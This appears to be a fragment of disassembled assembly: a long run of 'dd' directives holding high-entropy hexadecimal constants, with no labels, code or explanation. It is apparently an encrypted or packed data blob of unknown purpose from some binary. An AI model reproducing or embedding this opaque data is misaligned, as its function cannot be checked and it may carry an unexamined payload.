		dd 1A4A2828h, 4B4BDAF2h, 0BA25D1DFh, 0A1F2F458h, 523183B2h
		dd 0E39D13F7h, 0F0F94503h, 71317F49h, 0FC6A991Bh, 0C331B118h
		dd 0EFC8133Bh, 69820764h, 8ED65C51h, 62CF4F44h,	24ECD3CBh
		dd 6100F9BCh, 106B55Fh,	9DC2825Ch, 24290A06h, 1B4E084Ch
		dd 0ED54FA0Dh, 0B82D1489h, 5342EBF5h, 55C09CE9h, 51C25456h
		dd 535FC4B9h, 5761E721h, 2A294E68h, 0E527B2B3h,	0B6A52E8Eh
		dd 0F5C64149h, 9ECDFEBCh, 0ED0B470Ah, 0DCBF03ADh, 0B83C0008h
		dd 1CB13C6Eh, 4E0BA7BDh, 4A2930E5h, 27A354ADh, 5FEBEFF3h
		dd 424EE9CAh, 16035A97h, 906443E9h, 35F98B0h, 65892026h
		dd 15DE108h, 0B833DCBEh, 30F2F128h, 11FED3B7h, 8183F36Eh
		dd 9345A21Fh, 1153AB2Fh, 0EB5A7CDEh, 7953D25Eh,	0BAD3DFECh
		dd 3E17858Ah, 0BEEC2494h, 5D821034h, 6A225EA2h,	880C1358h
		dd 25B25AC0h, 96F7F7F7h, 0E504B3A8h, 6C9963FDh,	69D4BB1h
		dd 8AED9D06h, 94AE89E9h, 87258388h, 6D7F7009h, 0FEE99666h
		dd 0C5C3284Eh, 0F88A48C4h, 8E78357Bh, 3B6BF16h,	0C4534E7Dh
		dd 7AC2EB77h, 9733D372h, 0C289F857h, 43DDF63Eh,	50D5A11Dh
		dd 2C8F703Fh, 208401B2h, 8123C6Dh, 0EDB058C6h, 0C1E3E680h
		dd 63E9BC06h, 0C98C50CEh, 453B6E4Fh, 74F10044h,	892B4A0Fh
		dd 0C75958CDh, 79B87F0Bh, 702D1A03h, 42FC344Bh,	1810C2A0h
		dd 157E203h, 35EE9FAh, 50A5B681h, 64D774B0h, 7F4A99FFh
		dd 0C7808BCAh, 0CD97087Dh, 1E3AE912h, 0C528D1B4h, 0C2E0D15Fh
		dd 5107B5BDh, 8AC0C542h, 1917AFE8h, 0D5E03F0Bh,	66BDB44Eh
		dd 0C947E272h, 7855BB95h, 0ECA4E628h, 0EAEBEAD3h, 0B3B23352h
		dd 5884CD16h, 0A8651B92h, 1D3AF1A1h, 81700B2Fh,	282610E1h
		dd 290C8509h, 0C0BA0756h, 895DE591h, 7AB93B50h,	2F6F2410h
		dd 48546C01h, 6C96E916h, 5152046Eh, 93976768h, 5B1C1C4h
		dd 4AE4E22Eh, 6AC089BBh, 41A4C52Ch, 1763398Bh, 58536B0Fh
		dd 4A4C2F88h, 7962E365h, 6AB1454Bh, 0AB923F77h,	165365D8h
		dd 33121C68h, 0BDCA565Ch, 5E102260h, 0A418FD95h, 601672F6h
		dd 43BF5A66h, 0C25450F1h, 402D5899h, 2FE95E06h,	0E3F53B4Eh
		dd 576EF06Ah, 527BFC2Eh, 1EC0F4AFh, 2E1E011Bh, 8172CDE9h
		dd 5A06EF63h, 503A479Ah, 0E9120813h, 0FC54A537h, 0FDCC5824h
		dd 952AC25Bh, 7F791A98h, 0C26A5881h, 0AE7C82B8h, 9F675727h
		dd 536EF5A5h, 0B520EC90h, 5205012Dh, 687AA458h,	0E5CC3FEBh
		dd 0B404BE9h, 2B095D29h, 3AE9CAF9h, 0D4E102E2h,	20FBFA84h
		dd 0FBE17EE8h, 0E3681010h, 10C75A24h, 4EAD5A4Bh, 38F52B25h
		dd 4AC78033h, 0C962BD8Ah, 57F0B66h, 0DA1AD012h,	0A4EB4197h
		dd 17FEB774h, 0B0051377h, 820B5029h, 0CCFB31F9h, 0F9C895A8h
		dd 200319CBh, 0E6E90CB1h, 31F72646h, 96D30B1Ah,	4B68D721h
		dd 84A23B54h, 79C7E9C2h, 0C9BE5E57h, 0AF0BFA48h, 589253DDh
		dd 0B1B36FC1h, 901CD920h, 28E010E1h, 131D48CBh,	6020838Ch
		dd 7BA41744h, 0A7C52743h, 5D9BF448h, 354ED3Bh, 610CCECFh
		dd 3E0C1F6Bh, 16C5716h,	0DC104C3Dh, 0CDC575CCh,	0F4C501FDh
		dd 2052FED7h, 800561F2h, 0FE8828EFh, 646ADE0Bh,	14A2A00Dh
		dd 0AF72757h, 0E790A058h, 807DBF27h, 46A505A5h,	14F8B5ECh
		dd 54268E70h, 0E5021F77h, 603AD971h, 30072437h,	0EF182D8Fh
		dd 114CBB74h, 14500437h, 43C04643h, 79A5FA3h, 5B8BE929h
		dd 0ADF119FFh, 839B8450h, 70F7D802h, 80628E25h,	98407390h
		dd 5EB8A276h, 0BB5D16D8h, 8E005FC4h, 33414E24h,	62D180Dh
		dd 308B3C17h, 0E92BE809h, 5491C01Dh, 74565E58h,	6D8FEF09h
		dd 1F40BF02h, 0CB417F42h, 730405BBh, 0B2180B9Eh, 8880C2BFh
		dd 49DEFAFDh, 0BB4CE694h, 0FEBD9020h, 95D6C90Fh, 8029E961h
		dd 0D71627BBh, 5988EBC8h, 1B7E314Eh, 58AAE66h, 1708D7FCh
		dd 0FA307637h, 5B2959B3h, 5662E060h, 4B7B7697h,	0DA72ED7Ah
		dd 0BB2922BDh, 27BF2A58h, 0DFE3565Eh, 0D93B3B88h, 0FE58F897h
		dd 7C3A97CDh, 0E980830Bh, 0D3535535h, 4D931240h, 5D7D7C24h
		dd 662807D9h, 3B2DE6BEh, 5EBC2F0Fh, 607EF0DFh, 0F2E58F5Eh
		dd 7E90F747h, 0ED0A1C40h, 3DDC10E9h, 0E9014F07h, 5B8D90CAh
		dd 0B949429Fh, 25E5B21Ch, 16DAF828h, 2CDFF646h,	3BBAB889h
		dd 589393F2h, 874361EEh, 81E2074Ch, 821C5725h, 0C0FF8F70h
		dd 0C7042E75h, 3C31E93Ah, 198C5DBCh, 0DB7EF63Bh, 4B4A5438h
		dd 69A299EEh, 81558926h, 4AFB36E8h, 404B3C30h, 61EC59CCh
		dd 75295A4Fh, 1BB6074h,	3033444Dh, 2B01EB83h, 0B4C329F4h
		dd 48F34091h, 6A05206Dh, 103E684Bh, 4C0F1C98h, 0BDE2250h
		dd 295E87D2h, 7B09409Eh, 957E5243h, 0E963CFD1h,	0FC23516Ah
		dd 2D17C83Ah, 0DAAEE54Bh
		dd 0C2E9090Dh, 4B241329h, 6019A256h, 0E14B968Ah, 0C029546Eh
		dd 5B0AAA2Ch, 0DDC30852h, 5B660Eh, 20B353D8h, 7BF33F80h
		dd 1EA03F98h, 0AFBDC330h, 66E76608h, 0D058C09Fh, 583B016Bh
		dd 5D060550h, 4B0029ECh, 112D12E8h, 0BC70D406h,	68320BC0h
		dd 30BAF419h, 6D486B8Dh, 18EC04D0h, 4F74541h, 8087E917h
		dd 0D30159ABh, 0B348CA0h, 31065E27h, 0F32EB50h,	5B530C60h
		dd 0B6B82F75h, 571232BCh, 0ADC3F4F2h, 9A130954h, 1ECC5123h
		dd 0A85D2E8Bh, 43441970h, 1E66801h, 53925A31h, 0A27B565Eh
		dd 0EC4C741h, 1F807D19h, 0E7724ECEh, 1EF750BDh,	5D04E6C1h
		dd 0C8EEF7h, 9FDD064Fh,	509DF331h, 6FD820A8h, 7CAF9EB4h
		dd 702824D5h, 0E0AA4F27h, 0F3329540h, 888EF997h, 8A198087h
		dd 92AD311h, 0ABDDBA98h, 0C0CEDE0Fh, 44CE11AFh,	0F8022F98h
		dd 2932A0BAh, 0D3A561CBh, 715778E8h, 6A7BB5FFh,	1B927F2Fh
		dd 472BD175h, 5D7CCB28h, 723BB8C0h, 48471E6Ah, 44734025h
		dd 52552D2Fh, 803A863Ah, 0CCBA1FC7h, 0B2366CE9h, 58C22C12h
		dd 62462CD4h, 22F70EF6h, 5692F9D0h, 425FEB6Ch, 24A6ED08h
		dd 365DA581h, 686697CDh, 0F998E520h, 26167C33h,	5BA1B35Bh
		dd 5AC4FE44h, 0AE505C04h, 0D82460CBh, 0B8460191h, 605AED47h
		dd 0C2412295h, 0CBF6447Ah, 0EA29ABA3h, 9256ECF0h, 0CD74847h
		dd 1D3B95Bh, 4D2CBB5Ah,	836B2559h, 0D8044386h, 0D6B3E4B6h
		dd 61AEE1BEh, 7FAA36B2h, 334D381Eh, 0B339CF13h,	0B9A3543h
		dd 27A680Ah, 4B888459h,	0EBC1045Eh, 5868E05h, 0D942DADEh
		dd 0E9A520AFh, 0D69E3F88h, 63ACF765h, 0E66B61Ch, 0E8365AF0h
		dd 0A5E43F63h, 0B5EF7003h, 0DE4FF959h, 0BAB43B20h, 285E0A98h
		dd 9398C829h, 0D7211DC9h, 0E979E716h, 4E52524Fh, 4AC64204h
		dd 2016C1EBh, 0CDBE0035h, 5F5D1816h, 7EAFB601h,	2485329Eh
		dd 0C4C0B842h, 2D4CB4F2h, 0B3DE23BFh, 0D7140218h, 0C9C73433h
		dd 9DD1BEF7h, 75BF9A48h, 7CE1BD5Fh, 2EFB213Fh, 0DDAF8E7Ah
		dd 6875FA1Ah, 9D6EE979h, 1ECA1BAAh, 13F24D57h, 92BB3C28h
		dd 0EED99C13h, 6E5DAD31h, 6C5A90AFh, 0BD43935Fh, 0F95B40C1h
		dd 0BBFC5051h, 0E260138Ch, 0ED061F39h, 0F7409D74h, 13FB35D0h
		dd 0B8EDD3FFh, 0ABAC27AAh, 68162F4Dh, 95E520F3h, 0E6530F1h
		dd 795F2C2h, 4033625Eh,	5A1284D9h, 2E9399AFh, 0A7F2EDEDh
		dd 0B4EC4BD2h, 5E03A49Ch, 1436E668h, 3830AA23h,	0B5A7F72Eh
		dd 0D2DEB70h, 4A7AA62Ah, 0BABF63BBh, 28A613B8h,	35EA3139h
		dd 0BBA08D5h, 87F55573h, 0DBBB7F4Dh, 59340811h,	5C190B6Fh
		dd 0A76E236Ah, 5B65BAFEh, 68D6B3B5h, 0B85057A0h, 0D2444EFFh
		dd 0BDE9FCC4h, 3FCE4797h, 0C89975E5h, 312D262Ch, 608D7835h
		dd 98052816h, 9C98324Fh, 0CCB62925h, 26E52F61h,	0EAF4276Ch
		dd 89FA1949h, 0B66FC046h, 0B2520010h, 80DAF615h, 5C9DFBCAh
		dd 0EE818016h, 19C6711h, 7F8C0CC1h, 0B4933D29h,	0B824E459h
		dd 0C005E20Eh, 8C1E600Ah, 0FCE99D32h, 815199CFh, 0F18036B1h
		dd 2A57F509h, 0C44A600Eh, 27ED66ABh, 780568C2h,	90E4775h
		dd 16D89BE9h, 0A4105797h, 469D3EA7h, 2A7827C5h,	56FA5BEBh
		dd 0B73FC9D8h, 4B5E4812h, 0A3EBDE74h, 82D04B91h, 3C3093B9h
		dd 0ECCB798Ah, 6FC202EBh, 808675CFh, 976E53CCh,	84E91266h
		dd 1033A330h, 0A44F9326h, 0D9BD454Ah, 9F19BCC5h, 0F8BD3066h
		dd 654F422Fh, 0A60092A1h, 3EF24B6h, 0A40A3579h,	0BE94AC01h
		dd 0E269BFC9h, 0E680510h, 6038E380h, 0DBF601EBh, 0B1510066h
		dd 0E9CB3011h, 99CF8D53h, 0C60996E5h, 0F340A898h, 0FD304909h
		dd 0E9161EBCh, 6A4605Bh, 130C13B0h, 7E57AC7Ch, 39A5765Eh
		dd 25586FD8h, 0C0F41C68h, 0EE04FA93h, 29E425CCh, 75995A72h
		dd 10A1BD8Eh, 7F5050B5h, 9359096h, 0D65E4E4Dh, 16A025Fh
		dd 2EFDF9CDh, 757B0B63h, 9EB02D7Ah, 0FB0FDE4Ah,	2B85C948h
		dd 0CE47773Eh, 3F0BB420h, 7239D211h, 0EA37276Ah, 44F7474h
		dd 0B3BE4F2Bh, 29F8D266h, 12206780h, 11D1407h, 3DFD4FFFh
		dd 34AC016Fh, 57F716A0h, 603853E9h, 3B824E01h, 804F1FBBh
		dd 0ECEB810Ah, 503F4672h, 0B4F5CB29h, 43792F78h, 527DE950h
		dd 9203AAFDh, 17B2E51h,	149AC4B5h, 0EE4B3A08h, 0CB59328Fh
		dd 53A4AC59h, 0F4BBB8B6h, 9E67B2EFh, 56D43205h,	2AFDDEBh
		dd 0F5FC590Ch, 25232B50h, 197E3A15h, 0E401301Dh, 0B5A5E949h
		dd 0EE52F233h, 0FBC62917h, 7011D661h, 81F17FC2h, 6698574Bh
		dd 2B9D7668h, 48655FFEh, 0FD8E5098h, 779F0137h,	4DB558B8h
		dd 8D013AC9h, 18B11AB9h, 9D555970h, 0C5D503C2h,	8216A60Fh
		dd 156F380Bh, 0D7EBF96h, 33022698h, 0EF79072Dh,	0B7A86037h
		dd 0DDB88076h, 984A46F0h, 0EF895B81h, 0BFF68C70h, 92202545h
		dd 0F26B6E41h, 1BC9DF1Fh, 3C45F3Ch, 9ED6BD82h, 346BF58h
		dd 0E9407C0Bh, 204811CDh, 55D9252Ah, 633FE4C0h,	0BCC281C0h
		dd 0B5F31949h, 9E9723D8h, 688E8832h, 0E996A849h, 5CA097A2h
		dd 9B3EDEC7h, 3AC284Ah,	31839D25h, 3B8803BDh, 0F5058164h
		dd 16344A5Ah, 0EC5E82A8h, 0DB912581h, 96FB5D5h,	30D53D03h
		dd 2F685DF0h, 9CF32B7Dh, 6CC05144h, 7FED0287h, 0ABF29506h
		dd 7513836Bh, 0BBFCD309h, 925ADF49h, 259E637Fh,	0DF41FE62h
		dd 0BF830E66h, 89093B92h, 0CC80DDDh, 1FED2F4h, 2CD0F6C8h
		dd 3E5A3401h, 526680C0h, 98B31E53h, 0E5D95E51h,	0CF047A2Bh
		dd 3CBB0049h, 0B045DA07h, 28AF4101h, 506813F0h,	12BD6ECCh
		dd 4547E0Eh, 13E7B112h,	48175E0h, 405A3AF2h, 7614C077h
		dd 0C40404EFh, 0C8BCA31h, 12778EEAh, 0A3EA5F66h, 4D99194Bh
		dd 2DB23895h, 94571014h, 8749F0Ch, 0BA405150h, 63F1ECF1h
		dd 0ECC73705h, 13A8CE8h, 45E5EF78h, 0D5FF8208h,	827259DDh
		dd 757058AEh, 6B2EEE5Ch, 8320D902h, 8765402Ch, 4ABA9D5Ch
		dd 0BFEC5857h, 8BAF0515h, 134BC6B0h, 0E72873E9h, 0B8CC4E97h
		dd 60BB1CB8h, 0FE2D81AEh, 0D4489F3Dh, 1E30A692h, 7F05A413h
		dd 776D16C0h, 7F60EF52h, 1F56894h, 6D25BA7Ch, 2E313E3Fh
		dd 92E91D17h, 0CC69083Eh, 55B98957h, 5B7FBEBAh,	0D4758B4Dh
		dd 72C3F827h, 570B0D3Ch, 0D067D325h, 0C1685C8Ch, 0C260524Ch
		dd 6440478Fh, 5221FEB1h, 61172C71h, 53EE3397h, 0BDFE3CAh
		dd 55790950h, 0DF49BAF3h, 0E9163894h, 0F9929F4Ch, 5E17680h
		dd 0B908A268h, 5A83200Fh, 2791E049h, 378A470Bh,	7E966C89h
		dd 654CB721h, 80E3F02Ah, 0A9E1D94Ah, 10ADE22Ah,	59256E99h
		dd 0C06E32FFh, 0E163A095h, 0D676BC2Fh, 3E253305h, 96BC91F4h
		dd 0B571FABh, 0C5F74AB8h, 5B3910A2h, 79586586h,	0D5BB95CEh
		dd 282E220h, 3DFB6850h,	0C07506BBh, 13960512h, 535CECE9h
		dd 8D18BF9h, 55C2E9h, 685BDE09h, 189D6982h, 0E136F028h
		dd 0D247B83Bh, 12C400A0h, 0BC4A330Eh, 552125C8h, 3AA0E1C6h
		dd 0B04C5935h, 118C10BFh, 75FB2D03h, 6DD2621Ch,	502DDB7Ch
		dd 186827C3h, 4CF0DE46h, 0C7D23A4Fh, 9645DF34h,	48E5425h
		dd 0C511215Bh, 33198750h, 7A0B1BCFh, 2F7FA87h, 74457611h
		dd 0F75A56Fh, 508B6968h, 16E39766h, 34685C0Fh, 0E9D31638h
		dd 539BE9Ah, 0E2BFBCC3h, 0A804BA3Fh, 0F817DBB3h, 234E62E8h
		dd 89F35461h, 7D584703h, 0F6387F3Eh, 9B0EF700h,	0FA01119Ch
		dd 0EA29305Fh, 5966B98Eh, 27090F48h, 774B09F5h,	5A60665Ah
		dd 7E4C081h, 0D8F43880h
		dd 4458E31Fh, 0FB14B252h, 8668C204h, 0AA42E999h, 120D7EF4h
		dd 3374D3D2h, 737B4F51h, 7439C06Ch, 10D4145h, 4F9840DDh
		dd 8B59FAE9h, 0F79DB238h, 0F2107A40h, 5B0EF6BDh, 8D4077F3h
		dd 143944C6h, 4A4E4883h, 0EB2F58ECh, 1A2F4B74h,	21DD52A1h
		dd 0BB95170Fh, 6794102Ah, 4EDBFC5Bh, 3C3A1B99h,	0B52FE92Bh
		dd 0F498F5D7h, 0AC241EEBh, 0DF1F0A37h, 0C4CD55A7h, 410CF925h
		dd 356D9FE9h, 1F00737h,	689031E8h, 0D2725BB6h, 0A1BA002Ah
		dd 3D4EE04Ah, 0F506E0E9h, 9079D56Dh, 15255116h,	36373805h
		dd 0E0F034EBh, 5281BFF9h, 0B675DFD8h, 1F89C471h, 7734E549h
		dd 40714916h, 9CF2B3ACh, 2DC90F62h, 0F0680137h,	517DC256h
		dd 0E7E56920h, 6C7DFA80h, 14A422Dh, 80685153h, 706FA14Eh
		dd 0E917F976h, 0A0BC3C3Bh, 1E98FBA5h, 4AEA25E9h, 54F025C4h
		dd 4FE711D7h, 135B7B48h, 5EA7A6CBh, 1B45FB8h, 38685561h
		dd 6C13C556h, 0D1C9E1h,	1CFFF579h, 20BD98F6h, 295850A4h
		dd 0E2889EEDh, 0EC5D166Ch, 0B3FB9216h, 0C8E98478h, 0B95B2FB8h
		dd 9AB68452h, 4BD1D9C1h, 50CA382Ch, 8AE9E1B1h, 22BC052Bh
		dd 1C28309h, 60250D01h,	3FE9F873h, 942FB6Ah, 0B54DD08h
		dd 41DCBD55h, 0C8AF96BDh, 58C25547h, 0E9E8D719h, 95BF268h
		dd 0E9C289E7h, 0DB75ECF6h, 60D5A792h, 35E90723h, 0E07BC5A1h
		dd 141795FDh, 0CBEF019Dh, 5D0F405Ch, 0BAD0892Fh, 9927DFD3h
		dd 0AA5154E9h, 0C500EB2Dh, 0B439F668h, 66757AFAh, 0BB369576h
		dd 0B0B96B7h, 1FE95051h, 0FC0370A9h, 65C90D11h,	10CA6A3Ah
		dd 61444110h, 0DB5AB65Ch, 0FAF729F8h, 0A3145E79h, 88DE13BAh
		dd 68CC70AEh, 4BC47619h, 0C3478EFCh, 1CE9DF06h,	0EB516950h
		dd 540CA708h, 0EA28B4E4h, 0B438F084h, 0D8F73993h, 101C5D8h
		dd 81527D30h, 0D07CE0CFh, 11C725Dh, 9C0BE56h, 0E6FC73A0h
		dd 760DE221h, 0F3C61F69h, 4E1D897Ah, 99138884h,	20B86BD4h
		dd 0B8B94186h, 262BD70h, 0E6AB77CDh, 8FE69DE3h,	0D794FA4Ah
		dd 7E7A98EEh, 2C80C940h, 17FAF4EBh, 18C16683h, 0B5518D0Ch
		dd 0B5541EBAh, 0C60B9302h, 0A8186D6h, 4324132Ah, 6563F68Ah
		dd 2EA32C2h, 17CD45Fh, 0E066F1EFh, 3ACC35C5h, 0BA0F0BA4h
		dd 257C9FDAh, 8D3C68D2h, 74FC5859h, 0CD2AE118h,	0E1B8F001h
		dd 0B846D751h, 0FB291243h, 0F714F0EBh, 3556960Ch, 97069464h
		dd 7D84A955h, 7C27F97Bh, 0CC029F6h, 0CD9D4942h,	70639A13h
		dd 0A05E4B8h, 0FB440C7Ah, 0DD29C4C2h, 4555B40Bh, 0DBE9C115h
		dd 0F4BB7412h, 76AE5314h, 7052887h, 2C1EFEF8h, 0FEAF757Ah
		dd 0FDE9844Bh, 1CBDAE7Dh, 7A96083Ch, 1D62AF25h,	0F9FFA4Fh
		dd 4168E3C1h, 1F845DAEh, 0C9E5EC38h, 471A7563h,	0BA4CA904h
		dd 0A0B84270h, 5F130E21h, 2964F831h, 48A9A244h,	0B18F10D4h
		dd 92CE84Bh, 0C6474468h, 4BBA2F31h, 36FFAF19h, 0DF0CD61Dh
		dd 4EC5E13Ah, 6570AB58h, 0BEDB34E9h, 35766269h,	30F0F366h
		dd 22FAD44Bh, 0C16A41F8h, 0D551C35Fh, 0BA5B60A8h, 400B953Ch
		dd 13B059F2h, 19383220h, 4C8EBA52h, 0BA052B7Eh,	89CC47FEh
		dd 9DB47150h, 7095B150h, 0D3F6320Ah, 0F661520Bh, 0C2B47C33h
		dd 54EA88A6h, 0D8CF70E9h, 5E1EE3DAh, 569C5B90h,	0CE10D0EDh
		dd 0C4B1514Dh, 0C482557h, 6FE60279h, 42310347h,	6C0880B7h
		dd 9F0D8E67h, 8201256h,	822646C6h, 3316B057h, 68543143h
		dd 9B167ABBh, 0A522CA8h, 0D5B991EEh, 0B2040532h, 2EC2D2EAh
		dd 0CFF85D33h, 60180883h, 0C1A7860Ch, 0B48126Eh, 4F08B00Ah
		dd 0D2BDA4B2h, 27FD099Ah, 1C8C6D32h, 1B7986D4h,	0E9476905h
		dd 44BF4233h, 0AF3EA06Ah, 0EBAB18Ch, 3391508h, 7EA0FBDFh
		dd 961773BFh, 0B1EBBC55h, 8D2A7840h, 141D427Dh,	2F41C77Fh
		dd 556474FEh, 5D863AF2h, 8704BE5Fh, 0B66850FDh,	5844CCABh
		dd 4CB5D4B7h, 0F780E8C8h, 51EFA1D1h, 0EBCB0338h, 0FB557BA9h
		dd 2AC3A20Ah, 0B4C213E9h, 81969ECh, 0B0206466h,	2EB26E1Eh
		dd 72AD8B5Eh, 69F29710h, 0E3A9D0BDh, 2E9AFDh, 2B49BD1Ch
		dd 4D692EFAh, 427B0602h, 6DE1BD13h, 1DC438F2h, 7CD65652h
		dd 0CB3E2BF1h, 709919AAh, 0C02B5473h, 246E42A4h, 0ED8EE8BDh
		dd 0DB9104B9h, 0C2E901F0h, 0BC73B146h, 940DFBA4h, 0F07E18C7h
		dd 6F4CCD1Eh, 84BD6914h, 4F0C7D24h, 0AD129A7Eh,	4AFBC2Eh
		dd 0D9EF015Bh, 56BE2B6Dh, 89DE08D7h, 96C73B3Dh,	6291395Ah
		dd 0C9103F54h, 0A53038F5h, 74C17C76h, 0D79A098Eh, 6770DCE9h
		dd 0F788531Ch, 0B896F89Eh, 68AE60AFh, 0DBB75E31h, 5B841806h
		dd 4B0EFEEEh, 0E96827B9h, 3D32E971h, 0A6963F22h, 23495AD7h
		dd 5518A5E5h, 48C0CFBBh, 30F9E174h, 0D100CD2Bh,	0DA8801E0h
		dd 0D40EB07Eh, 0B9FAF672h, 7BBBABAAh, 0B0BAD883h, 0B350A15Eh
		dd 737D9846h, 3E30405h,	0D84C3968h, 8025487Fh, 1746FEEDh
		dd 8F26442Ah, 9832EADCh, 65F65D0Fh, 0A3957F2Dh,	6DC05812h
		dd 398012B6h, 0F69F59CEh, 0ADC74926h, 0F3052514h, 386203A5h
		dd 568017F2h, 0A23ABF68h, 82A2124Fh, 9738AC7h, 4960E5DFh
		dd 21109054h, 0C37B84Bh, 18C91527h, 97BB653Fh, 4D23C1C3h
		dd 50AC960Ah, 0F0F25DE5h, 0FF20AA5Ch, 0CA7026D9h, 87838243h
		dd 0C4BD9EBh, 25CACBFEh, 4CDDE22Bh, 95F1F628h, 0CEB88F00h
		dd 1913C10Dh, 9572C731h, 81CE4B58h, 0CAC75BF8h,	95258B8h
		dd 7FC0BD66h, 5D2D6157h, 0E990A5FBh, 9F2815Eh, 22A11CF9h
		dd 12DB9D8h, 2C94D5F5h,	2FF25C5Ah, 13476B50h, 234A467h
		dd 0B14A1D14h, 2CF59AC0h, 71604E0Fh, 680281C1h,	383234F7h
		dd 44FC9369h, 0AC5E2410h, 905F7E20h, 0D92D1ABDh, 0F549BCFCh
		dd 0CE0FC39Ch, 130A442h, 6E7BE9C1h, 2D7C462Bh, 0E19F0C27h
		dd 65AF57AAh, 0E741265Eh, 38CC56E2h, 533B44Fh, 0FA4EB4EFh
		dd 6AE11313h, 0EAB2852Ah, 1357F2A0h, 0BE1F5247h, 44F8B8A1h
		dd 0EC025F40h, 7A664CF8h, 2D82194Ch, 50EE5431h,	46BD2A0Ch
		dd 66CCB5E9h, 0F37D9627h, 4DF525F8h, 988F9652h,	772230E6h
		dd 0E90609A7h, 7DC8816Fh, 599773F5h, 0BDC4CFDBh, 2CFFBD5Bh
		dd 66938251h, 2C1977E8h, 7FBF107Fh, 96E4AE5h, 0AE17580Fh
		dd 0C01AFF1Ah, 972E9441h, 0C024167Fh, 65B85090h, 7460AF56h
		dd 5E06BBCAh, 0B6E9164Eh, 0D1A2A964h, 0D4BA4A98h, 38A7FE22h
		dd 294ADD4Bh, 6704961Dh, 5A04F4BFh, 5217AE57h, 948491FAh
		dd 0FF906E7Bh, 144348BBh, 0AAEFC109h, 245F010h,	0F528A6B6h
		dd 5393605Ah, 0A8C44E04h, 590A74E7h, 0AF169868h, 0FBA6F88Ch
		dd 1C900CEDh, 680C6DE1h, 60D4C416h, 8D2F7A29h, 0F3857EFDh
		dd 6A62E1AAh, 3F8B1E04h, 68F2D697h, 9EB0F599h, 6DE847C7h
		dd 0CAFA294Ah, 2FE03369h, 0C5C8825Ah, 0B2E9890Bh, 357EC5A9h
		dd 956F2A58h, 0FCEC96D7h, 229B5BE6h, 825F59E9h,	1EFFAB1h
		dd 262E2968h, 0A4107DAh, 60896CB0h, 0FA02CD22h,	0AB7F4A70h
		dd 5C78AC90h, 93637F0h,	79C29054h, 2BF17BAAh, 0A0A47F1Eh
		dd 9C70E4C9h, 6B436782h, 9C6C9455h, 68556031h, 0D3B47F12h
		dd 5B08D660h, 1660BD1Eh, 71955768h, 0D2BE8C8Bh,	55973121h
		dd 84406F1Ah, 360166A3h, 0E9E5D12Fh, 0A33F5907h, 93F848A3h
		dd 79352A01h, 5D267663h, 0FA4A1F58h, 0A32192DDh, 77BECA6Fh
		dd 7C5BA940h, 0BA025A83h, 5BE5D628h, 0BE1FD167h, 27B76B82h
		dd 6AC4776Fh, 6140EBF5h, 0A7685053h, 3CE3F12h, 4B757227h
		dd 0E179DB9Bh, 0DA414523h
		dd 5CCE70BAh, 1BE604FFh, 0C5A4C0EBh, 4D30715Bh,	45F20C32h
		dd 29F01207h, 0E98716E8h, 1AEA02D8h, 0D52EA151h, 20086B28h
		dd 6EF9BF88h, 78CB09EBh, 0B82C3BA5h, 27569F90h,	0C0574231h
		dd 9F215A2Ch, 3B304EE0h, 0EF968F82h, 0F9484F6Fh, 0F8B5C7Eh
		dd 0F3ABB0E9h, 9F5D36F5h, 40E3F500h, 9F76BEh, 800635F2h
		dd 6BE91274h, 63A36112h, 0C0CD488Eh, 68644899h,	2474BDFDh
		dd 92117161h, 0EEF700E1h, 812EBB51h, 1D49F605h,	0C4FA2695h
		dd 7F7ECEFBh, 26B97600h, 4A4F9F05h, 0F0EA11h, 40740D7Eh
		dd 0C49E212Dh, 0C6317D12h, 0D770B41Ah, 0F1013FC0h, 4695B4EEh
		dd 0BFBAFEB6h, 0F3664505h, 9A533074h, 486D2AEFh, 137F4362h
		dd 15E796Fh, 91204592h,	0E3A1607Bh, 3F855D09h, 0D972D547h
		dd 2A33101h, 0F5FE9AEh,	5E6EF22Bh, 0EFE4FBBCh, 42951330h
		dd 0A3E4C63h, 0CD007E4Ch, 459A5250h, 5BDDBE9h, 4DF04A24h
		dd 0FB442E8Bh, 0F694275Ah, 0BEB04C97h, 50ADB850h, 1D74C218h
		dd 95210988h, 70BEF964h, 9E385116h, 84D3D0A2h, 1C039A06h
		dd 540BD80Dh, 42793A04h, 0FA8D00AEh, 9564F87Ch,	3EF3240h
		dd 0B4E1E883h, 3F0C2704h, 8C3CFE03h, 88EAC84Ah,	735FAED6h
		dd 91B334BEh, 0F467BA6Fh, 3FE7E97Ah, 48CBF0D0h,	34932F27h
		dd 0DA745CC2h, 90C5A7BEh, 381EBACAh, 0F44FA835h, 5A4FE93Dh
		dd 2A679587h, 30341D83h, 68EF0DAAh, 1B9D787Ah, 58A7F2D9h
		dd 0C4215BF5h, 0AE2CAE3Ah, 0FE424478h, 6C8B25DEh, 0F8441121h
		dd 0D0A0086Fh, 0C380D100h, 17D8289Ah, 0A3B43AE9h, 63B91212h
		dd 40577F32h, 3F6EB7C3h, 3E901601h, 554A2707h, 0E8F22A98h
		dd 72E15A14h, 0FD90CD3h, 0BA22DAD3h, 9F01784Ah,	50798C6h
		dd 51EA1A47h, 9CE0D8D4h, 25235CEEh, 0F80BB381h,	9DF44007h
		dd 5E4F0430h, 802D5E5h,	0FBFA8059h, 0A0487416h,	0B33CDBEh
		dd 0C2E96A6Ch, 99EBFE48h, 4C842B18h, 2651FD0Ch,	27444470h
		dd 0CF656E54h, 0EA4B38B8h, 3CF94EDDh, 5E09007Ah, 5184CA81h
		dd 0CE4A9F28h, 675D7C30h, 2F531BC6h, 0EF7656D7h, 0ABB508A0h
		dd 0E9927105h, 8A9665D7h, 9DCB6E94h, 5927CACBh,	45E46FCAh
		dd 9244EEE8h, 841A641Ch, 0CB4607Eh, 58C16CFCh, 824F804Dh
		dd 1812F418h, 146A572Bh, 2CE90802h, 76D1EEA9h, 3DAE5045h
		dd 82AD7AEEh, 1865C781h, 7F16201Dh, 280F1B40h, 41CAC0B7h
		dd 29FA2F85h, 1E56F27Dh, 0D01AFD27h, 0D58809F5h, 5527364Fh
		dd 0E989FCE7h, 601E76F7h, 6207A4BFh, 15267A60h,	14414F33h
		dd 450F82E9h, 0FD6C0B16h, 10F6D07Bh, 0BD1F4754h, 111A09BEh
		dd 0E57F60FDh, 3B0A1D40h, 90F58173h, 8239A338h,	7B043E0Ch
		dd 0E4694054h, 139F0521h, 0EB59CD09h, 5642C2h, 332F89BBh
		dd 0D82C7C7Eh, 0F608985Bh, 0CF880916h, 3769C7DDh, 83227B44h
		dd 6377C388h, 2FB7D10Bh, 13103866h, 0F6462793h,	2DAD0FEEh
		dd 7F00498Bh, 4D952362h, 18F18928h, 0D3B98625h,	0E090BD6Dh
